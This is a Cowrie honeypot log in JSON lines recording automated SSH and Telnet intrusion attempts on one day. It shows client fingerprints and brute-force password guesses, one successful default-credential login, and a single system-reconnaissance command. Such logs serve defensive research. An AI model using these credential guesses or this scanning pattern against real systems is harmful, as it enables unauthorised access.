{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:50:44.873698Z","src_ip":"220.247.224.226","session":"3e34ee665b9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql2024","message":"login attempt [mysql/mysql2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:50:45.816924Z","src_ip":"220.247.224.226","session":"3e34ee665b9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:50:47.046813Z","src_ip":"220.247.224.226","session":"3e34ee665b9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.187.71.114","src_port":33334,"dst_ip":"10.17.0.5","dst_port":22,"session":"98af18f47a18","protocol":"ssh","message":"New connection: 200.187.71.114:33334 (10.17.0.5:22) [session: 98af18f47a18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:51:15.331909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:51:15.336939Z","src_ip":"200.187.71.114","session":"98af18f47a18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:51:15.455532Z","src_ip":"200.187.71.114","session":"98af18f47a18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"root321","message":"login attempt [ubuntu/root321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:51:15.945073Z","src_ip":"200.187.71.114","session":"98af18f47a18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:51:17.064918Z","src_ip":"200.187.71.114","session":"98af18f47a18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.118.150.20","src_port":53654,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f5c305c1f72","protocol":"ssh","message":"New connection: 200.118.150.20:53654 (159.203.135.109:22) [session: 6f5c305c1f72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:51:19.866113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:51:19.923404Z","src_ip":"200.118.150.20","session":"6f5c305c1f72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:51:20.013465Z","src_ip":"200.118.150.20","session":"6f5c305c1f72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@1","message":"login attempt [root/test@1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:51:20.411120Z","src_ip":"200.118.150.20","session":"6f5c305c1f72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:51:21.508392Z","src_ip":"200.118.150.20","session":"6f5c305c1f72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":52644,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0b1ca5993b6","protocol":"ssh","message":"New connection: 193.32.162.145:52644 (10.17.0.5:22) [session: f0b1ca5993b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:51:22.245990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:51:22.250603Z","src_ip":"193.32.162.145","session":"f0b1ca5993b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:51:22.356368Z","src_ip":"193.32.162.145","session":"f0b1ca5993b6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:51:22.659882Z","src_ip":"193.32.162.145","session":"f0b1ca5993b6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:51:22.917810Z","src_ip":"193.32.162.145","session":"f0b1ca5993b6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:51:22.921252Z","src_ip":"193.32.162.145","session":"f0b1ca5993b6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:51:23.027183Z","src_ip":"193.32.162.145","session":"f0b1ca5993b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:51:23.032897Z","src_ip":"193.32.162.145","session":"f0b1ca5993b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.247.224.226","src_port":31301,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5cdf734b4cc","protocol":"ssh","message":"New connection: 220.247.224.226:31301 (159.203.135.109:22) [session: e5cdf734b4cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:51:47.011944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:51:47.016521Z","src_ip":"220.247.224.226","session":"e5cdf734b4cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:51:47.261842Z","src_ip":"220.247.224.226","session":"e5cdf734b4cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.196.254.81","src_port":57642,"dst_ip":"10.17.0.5","dst_port":23,"session":"dcf1fca59816","protocol":"telnet","message":"New connection: 38.196.254.81:57642 (10.17.0.5:23) [session: dcf1fca59816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:51:47.537758Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"112","message":"login attempt [ubuntu/112] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:51:48.217948Z","src_ip":"220.247.224.226","session":"e5cdf734b4cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:51:49.451398Z","src_ip":"220.247.224.226","session":"e5cdf734b4cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.982965469360352,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:51:59.520586Z","src_ip":"38.196.254.81","session":"dcf1fca59816","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":59006,"dst_ip":"159.203.135.109","dst_port":23,"session":"dcd11843407e","protocol":"telnet","message":"New connection: 174.138.46.234:59006 (159.203.135.109:23) [session: dcd11843407e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:52:05.972794Z"}
{"eventid":"cowrie.session.closed","duration":5.7550368309021,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:52:11.727702Z","src_ip":"174.138.46.234","session":"dcd11843407e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.187.71.114","src_port":38548,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2503c567357","protocol":"ssh","message":"New connection: 200.187.71.114:38548 (10.17.0.5:22) [session: c2503c567357]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:52:13.946397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:52:13.950824Z","src_ip":"200.187.71.114","session":"c2503c567357","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:52:14.065553Z","src_ip":"200.187.71.114","session":"c2503c567357","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"pa$$word","message":"login attempt [test/pa$$word] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:52:14.556654Z","src_ip":"200.187.71.114","session":"c2503c567357","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:52:15.673349Z","src_ip":"200.187.71.114","session":"c2503c567357","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.107.209","src_port":47400,"dst_ip":"10.17.0.5","dst_port":22,"session":"a88c50931ff2","protocol":"ssh","message":"New connection: 14.103.107.209:47400 (10.17.0.5:22) [session: a88c50931ff2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:52:19.932867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:52:19.937023Z","src_ip":"14.103.107.209","session":"a88c50931ff2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:52:20.160435Z","src_ip":"14.103.107.209","session":"a88c50931ff2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123123","message":"login attempt [user/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:52:21.086268Z","src_ip":"14.103.107.209","session":"a88c50931ff2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.247.224.226","src_port":60723,"dst_ip":"159.203.135.109","dst_port":22,"session":"c074e54f8e1a","protocol":"ssh","message":"New connection: 220.247.224.226:60723 (159.203.135.109:22) [session: c074e54f8e1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:52:48.513736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:52:48.522377Z","src_ip":"220.247.224.226","session":"c074e54f8e1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:52:48.743845Z","src_ip":"220.247.224.226","session":"c074e54f8e1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123qweASD","message":"login attempt [ftpuser/123qweASD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:52:49.633690Z","src_ip":"220.247.224.226","session":"c074e54f8e1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:52:50.863280Z","src_ip":"220.247.224.226","session":"c074e54f8e1a","protocol":"ssh"}
